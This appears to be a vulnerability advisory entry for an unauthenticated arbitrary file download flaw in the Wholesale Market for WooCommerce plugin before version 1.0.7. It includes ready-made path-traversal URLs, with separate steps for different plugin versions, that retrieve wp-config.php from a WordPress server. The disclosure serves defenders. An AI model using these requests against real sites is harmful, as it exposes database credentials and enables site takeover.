Lucene search

K
wpexploitWpvulndbWPEX-ID:B60A0D3D-148F-4E9B-BAEE-7332890804ED
HistoryNov 28, 2022 - 12:00 a.m.

Wholesale Market for WooCommerce < 1.0.7 - Unauthenticated Arbitrary File Download

2022-11-2800:00:00
wpvulndb
242
arbitrary file download
unauthenticated exploit
woocommerce security

0.002 Low

EPSS

Percentile

60.1%

The plugin does not have authorisation check, as well as does not validate user input used to generate system path, allowing unauthenticated attackers to download arbitrary file from the server. Note: v1.0.7 added capability check, making the issue still exploitable by high privilege users such as admin (which would be an issue in multisite)

v 1.0.6

If the wholesale_market_import_error folder does not exist, issue is still exploitable as any authenticated user (same URLs as for v < 1.0.6)

If the folder already exist, exploitable as unauthenticated: https://example.com/wp-admin/admin-post.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php

v < 1.0.6 (as unauthenticated):

First call https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv which will create the log directory

Then call  http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php to download the wp-config.php

0.002 Low

EPSS

Percentile

60.1%

Related for WPEX-ID:B60A0D3D-148F-4E9B-BAEE-7332890804ED